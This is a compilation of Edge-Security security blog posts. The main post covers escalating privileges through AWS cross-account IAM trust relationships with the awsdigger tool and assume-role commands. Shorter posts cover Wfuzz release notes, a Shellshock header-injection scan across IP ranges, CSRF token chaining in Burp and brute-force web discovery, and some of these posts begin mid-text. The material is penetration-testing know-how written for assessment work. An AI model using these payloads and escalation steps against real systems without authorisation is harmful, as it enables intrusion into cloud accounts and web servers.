Many Amazon Web Services (AWS) deployments use separate accounts for development, production and other environments. This helps to isolate resources and Identity and Access Management (IAM) users, groups, and roles.

To simplify management and the need to have a different set of credentials for every different environment, Amazon provides AWS Security Token Service (STS) and IAM roles. Cross-account access can be achieved by assuming a role and getting temporary credentials for authentication and authorization.

A typical scenario is depicted in the diagram below (see [1]):

A trust relationship is bidirectional, to set up the scenario above, the following must be created:

• In prod, creating the CrossAccountPowerUser role with a trust relationship with the dev user:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::Dev-account-ID:user/bjwagner"
      },
    "Action": "sts:AssumeRole"
  }]
}

• In dev, adding a policy to the bjwagner user that allows to assume the prod role:

{
    "Version": "2012-10-17",
    "Statement": {
        "Effect": "Allow",
        "Action": "sts:AssumeRole",
        "Resource": "arn:aws:iam::Prod-account-ID:role/CrossAccountPowerUser"
    }
}

The principal in the production role dictates who can assume it. Due to the fact that you cannot specify groups as principals but only a list of roles, users or services (see [2]), for convenience, it is quite common to use a whole account in the trust relationship, for example:

"Principal": { "AWS": "arn:aws:iam::123456789012:root" }

It is worth noting that, that this would allow any dev account that has the companion assume role policy to assume the role.

The following specifics of the depicted scenario affect its security posture:

• The development environment is used to store IAM accounts (including administrators).
• Usually, engineers have the ability to deploy resources, ie. ECS services or Cloud Formation stacks, in the development environment.
• Usually, the development environments have wider and more relaxed permissions.
• Usually, all the engineers will share a common role or group in development configured with default permissions.
• Usually, trust relationships use other account as principal.

Many times, the default developer access has policies to prevent escalating privileges, such as, only allowing to assume roles in the same development account or specifically denying to assume an administrator role. For example:

{
    "Sid": "DenyAssumeRolesThatAreNotDevelopment",
    "Effect": "Deny",
    "Action": "sts:AssumeRole",
    "NotResource": [
        "arn:aws:iam::123456789012:role/*",
    ]
},

{
    "Sid": "ExplicitDenyAdminAssumeRole",
    "Effect": "Deny",
    "Action": "sts:AssumeRole",
    "Resource": "arn:aws:iam::123456789012:role/Development_admins"
},

How to escalate privileges

Even with the aforementioned restrictions, there are still several vectors that can be exploited to escalate privileges depending on the existing IAM resources and the specific configuration of the environment.

A security assessment identifying these vectors should check trust relationships, roles, user and groups policies. Although, some of it might be doable using the AWS console or the AWS cli, it could be tedious. In order, to facilitate this task the following python script has been developed during this research https://github.com/xmendez/awsdigger

Dangerous permissions

There are various IAM permissions that could be used to escalate privileges, for example allowing to:

• Create or modify users and group membership such as AddUserToGroup, PutUserPolicy, CreateUser, CreateGroup, PutGroupPolicy.
• Create or modify managed policies such as AttachUserPolicy, AttachGroupPolicy, CreatePolicy.
• Create or update other user access keys (you might need also MFA permissions if two factor authentication is enabled) with CreateAccessKey.
• Create or modify existing roles such as createRole or PutRolePolicy.
• Assume other roles with sts:assumeRole
• Modify other roles trust policies with UpdateAssumeRolePolicy

A list of the full IAM permissions could be found at [4].

The obvious dangerous permissions, such as creating users or modifying existing groups, are usually denied by default. But many times development environments are quite relaxed about modifying other existing roles.

Also, often a developer is allowed to perform these actions indirectly, for example:

• by deploying CF stacks (sometimes passing a more powerful role).
• by deploying an ECS service or an EC2 instance allowed to assume a previously created role.

Finding IAM resources with overprivileged permissions

IAM resources with strong permissions could already exist with all the necessary permissions to escalate privileges in the development environment:

$ python -m awsdigger --filter "Action='iam:*' and Resource='*' and Condition=''"

An issue when finding such IAM resources, is that AWS policies’ syntax is very flexible and therefore it is difficult to identify the actual permissions among all the “NotAction”, “Action”, “Deny”, “Allow”, different services, resources, conditions, actions and wildcards.

For example, the following user policy, which is trying to give full s3 access, is actually granting administrator permissions to the user (presumably by mistake):

"Version": "2012-10-17",
"Statement": [
        {
            "Action": [
                "s3:*"
            ],
            "Resource": [
                "*"
            ],
            "Effect": "Allow"
        },
        {
            "Resource": [
                "*"
            ],
            "Effect": "Allow",
            "NotAction": [
                "s3:DeleteObject",
                "s3:DeleteObjectVersion"
            ]
        }

]
}

AWSDigger has a basic policy calculator that allows to find the effective permissions of an IAM policy to facilitate this task. Therefore you could look for dangerous IAM permissions by executing:

$ python -m awsdigger --filter "Effective~'iam:PutUserPolicy' or Effective~'CreateGroup' or Effective~'CreateUser' or Effective~'UpdateGroup' or Effective~'AttachGroupPolicy' "

Finding trust relationships within the same account

A role within the dev account having the development account as principal in the trust policy could be assumed by any user in the development account (if the default access allows it). These IAM resources can be identified by executing the following using a development account:

$ python -m awsdigger --filter "Trusted~'arn:aws:iam::123456789012:root'"

The listed roles might have wider permissions, access to more resources or a trust relationships to other account.

Then the role can be assumed by executing:

$ aws sts assume-role --role-arn arn:aws:iam::123456789012:role/some_role --role-session-name escalate-to-other-role

Finding cross-account trusted relationships

In order to allow developers to access their resources in production; or to allow administrators to manage the production environment from their development accounts, some trust relationship must exist between the development and the production account.

• Finding development roles with a trust relationship with the production account

You can find which development IAM resources are allowed to assume production roles by executing:

$ python -m awsdigger --filter "Action~'sts:AssumeRole'"

or being more specific by using:

$ python -m awsdigger --filter "Action~'sts:AssumeRole' and (Resource~'1111111111111' or Resource='*')"

• Finding production roles with a trust relationship with the development account

Powerful roles, users or groups having a trust relationship with the development account could be identified by executing the following in production:

$ python -m awsdigger --filter "Trusted='arn:aws:iam::123456789012:root' and Action='*' and Resource='*'"

References:

[1] https://aws.amazon.com/blogs/security/how-to-use-a-single-iam-user-to-easily-access-all-your-accounts-by-using-the-aws-cli/

[2] https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_principal.html

[3] https://aws.amazon.com/answers/account-management/aws-multi-account-security-strategy/

[4] https://docs.aws.amazon.com/IAM/latest/UserGuide/list_iam.html

Abusing AWS cross-account relationships was originally published in Edge-Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

>>> import wfuzz
>>> for r in wfuzz.get_payload(range(100)).fuzz(hl=[97], url=”http://testphp.vulnweb.com/listproducts.php?cat=FUZZ"):
… print r
…
00125: C=200 102 L 434 W 7011 Ch “1”
00126: C=200 99 L 302 W 4442 Ch “2”

Additional command line interfaces to generate payloads and encoding strings are now available. Other great feature, is the improved filtering language and the ability to reuse previous results, for example, if you do not want to perform any request but just find some specific HTTP requests within a previous Burp (TM) session, you can use the wfpayload executable:

$ wfpayload -z burplog,a_burp_log.log — slice “params.get~’authtoken’ and url.pstrip|u()”

The command above will return a unique list of HTTP requests including the authtoken parameter as a GET parameter. Authtoken is the parameter used by BEA WebLogic Commerce Servers (TM) as a CSRF token, and therefore it will return all the requests exposing the CSRF token in the URL.

A big effort has been done on documenting all the available features, check http://wfuzz.readthedocs.io/.

You can now install Wfuzz using pip and run it from any directory, you can even set up look up directories for your preferred word lists.

$ pip install wfuzz

Enjoy!

Wfuzz 2.2.0 released was originally published in Edge-Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

• http://shellshock.brandonpotter.com/
• http://bashsmash.ccsir.org/
• http://www.shellshocktest.com/
• …

Or tools like Qualys, Nessus, Nmap, Burp, Metasploit… and a bunch of “quick-and-dirty” scans using simple Perl or Python scripts.

Of course, you can also use Wfuzz to check for internal or external affected Web servers easily, by injecting a payload in the User-agent, Referer or Accept headers against well known CGI scripts as follows (since v2.1 — ss switch allows you to filter responses containing the specified regex):

$ wfuzz.py -H “User-Agent: () { :;}; echo; echo vulnerable” — ss vulnerable -w cgis.txt http://localhost:8000/FUZZ
****************************************
* Wfuzz 2.1 — The Web Bruteforcer *
****************************************

Target: http://localhost:8000/FUZZ
Total requests: 389

==============================================
ID Response Lines Word Chars Request
==============================================

00250: C=200 4 L 6 W 50 Ch “/cgi-bin/test.cgi”

Total time: 0.725533
Processed Requests: 389
Filtered Requests: 388
Requests/sec.: 536.1568

You can also scan various hosts by supplying a list of hostnames, for example:

$ wfuzz.py -H “User-Agent: () { :;}; echo; echo vulnerable” — ss vulnerable -w hostslist.txt -w cgis.txt FUZZ/FUZ2Z

or by using an IP range (v2.1 allows you to use the -Z switch to ignore connection errors):

$ wfuzz.py -H “User-Agent: () { :;}; echo; echo vulnerable” — ss vulnerable -z range,0–255 -w cgis.txt -Z http://192.168.1.FUZZ/FUZ2Z

Happy hunting,

Scan for shellshock with wfuzz was originally published in Edge-Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

$ python wfuzz.py — script=links -z list,a — follow http://localhost:8000/FUZZ
********************************************************
* Wfuzz 2.1 — The Web Bruteforcer *
********************************************************

Target: http://localhost:8000/FUZZ
Total requests: 1

===========================================
ID Response Lines Word Chars Request
===========================================
00000: C=200 17 L 89 W 1481 Ch “a”
|_ Plugin links enqueued 5 more requests (rlevel=1)
00001: C=200 14 L 57 W 889 Ch “/a/b/”
|_ Plugin links enqueued 2 more requests (rlevel=2)
00002: C=200 4 L 25 W 177 Ch “/”
00003: C=200 9 L 7 W 61 Ch “/a/test.html”
00004: C=200 4 L 6 W 47 Ch “/a/test.js”
00005: C=403 10 L 30 W 285 Ch “/icons/”
00006: C=200 17 L 89 W 1481 Ch “/a/”
00007: C=200 14 L 57 W 895 Ch “/a/b/c/”
|_ Plugin links enqueued 1 more requests (rlevel=3)
00008: C=200 13 L 46 W 716 Ch “/a/b/c/d/”

The project has been moved from Google code to Github. For a full list of the new features, check the Wfuzz v2.1 changelog.

Download the latest version at:

• https://github.com/xmendez/wfuzz/releases/

Wfuzz 2.1 released ! was originally published in Edge-Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

http://localhost:8080/injection_CSRF/inject.jsp?id=1&org.apache.catalina.filters.CSRF_NONCE=F22B0AC7234C98DFE11D665A3383B7E2

Although these protections help to mitigate effectively the risk of CSRF, they make almost impossible to analyse an application in an automatic or semi-automatic way, as this involves requesting an URL with a given token several times, which are discarded by the web server. Furthermore, a common action is to close the established HTTP session.

The only way to request a URL several times is to re-generate the associated token. One possible way of doing this is using the referrer header in order to go backwards identifying all the requests involved in the creation of the token and request them again in order to regenerate it.

Shown below is an example where a user has to click through two menus in order to reach the “inject.jsp” page:

• http://localhost:8080/injection_CSRF/index,jsp
• http://localhost:8080/injection_CSRF/index2.jsp?org.apache.catalina.filters.CSRF_NONCE=2AC1162C4CA176122F2BAA591B1F360E
• http://localhost:8080/injection_CSRF/inject.jsp?id=1&org.apache.catalina.filters.CSRF_NONCE=1EB3952B5BB391C7936A862DF8940DF0

In order to perform an automatic scan of the third request, the two previous requests must be performed sequentially as each of these requests contains a new generated token needed for the next request, forming a token chain.

A POC in the form of a Burp suite plugin has been developed to verify this approach, it can be downloaded at https://github.com/xmendez/misc. This plugin has been successfully tested against a simple vulnerable application using tomcat CSRF protection (all the requests in the token generation chain must be requested before testing a given URL).

It should be noted however that this code is a POC and it requires further development in other to be able to work against real environments (any link of a webapp with this behavior is appreciated).

Testing CSRF aware webapps with Burp was originally published in Edge-Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

Wfuzz is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections, bruteforce Forms parameters (User/Password), Fuzzing,etc.

Highlights in this version:

- Infinite payloads. You can now define as many FUZnZ words as you need .

- Multiple encoders per payload. You can now define as many encoders as you need for each payload independently.

- Payload combination. You can now combine your payloads in different ways by specifying

iterators.

- Increased flexibility. You can now define in an easy way new payloads, iterators, encoders and output handlers and they will be part of wfuzz straight away.

- Baseline support. You can now define a default value for each payload and compare the results against them.

Other new features include:

- New payloads

- New encoders

- Magictree output

- Support for multiple proxies

- Time delay between requests

- Follow HTTP redirects

- Fuzz within HTTP methods

- HTTP HEAD scan

- SOCKS4/SOCKS5 support

More detailed examples in the README and the google code project page !

Check it at http://code.google.com/p/wfuzz/!!

Stay tuned! We have a lot of improvements and ideas coming up!

Wfuzz 2.0 released! was originally published in Edge-Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

Hi all, we are proud to announce that we are going to present at Blackhat Arsenal USA 2011.

We are presenting on Wednesday Wfuzz and Webslayer 2.0 and on Thurdsay theHarvester + Metagoofil 2.0! both days at 11:15hs.

http://blackhat.com/html/bh-us-11/bh-us-11-arsenal.html

If you want to say hello pass by our pod!

See you there

Edge-Security

Blackhat Arsenal USA was originally published in Edge-Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

Scanning ports through SSH Port Forwarding was originally published in Edge-Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

Hi all, the past 19 of June i presented at OWASP VI Spain Meeting, a review of Bruteforce attacks in web applications, this is an old technique that is still useful for the attackers, and i showed with examples that is present in many attacks that affect big companies like Facebook, Yahoo, AT&T, Tuenti, etc. Also i presented the latest version of Webslayer a tool to perform all kind of bruteforce attacks in web applications.

You can find the presentation here:

And also the video of the talk (spanish) here.

Here is a picture of the conference showing the Webslayer results interface:

Next version will add some requested features like multiple proxies support, delay between request, and many more.

Stay tuned and enjoy…

Christian

OWASP VI Spain Meeting -2010: And still bruteforcing was originally published in Edge-Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

$ wfuzz -c -z file -f urllist.txt,dictionary.txt — html — hc 404 http://FUZZ/FUZ2Z 2> results.html

The first FUZZ will be replaced with the content of urllist.txt, where you should have the websites address in the format “www.target.com", and the second FUZ2Z will be replaced with the dictionary, in my case i used the big.txt.

Soon i will release an update of Webslayer, and will show how to do this with it.

Enjoy!

Laramies

Massive Web Application discovery with Wfuzz was originally published in Edge-Security on Medium, where people are continuing the conversation by highlighting and responding to this story.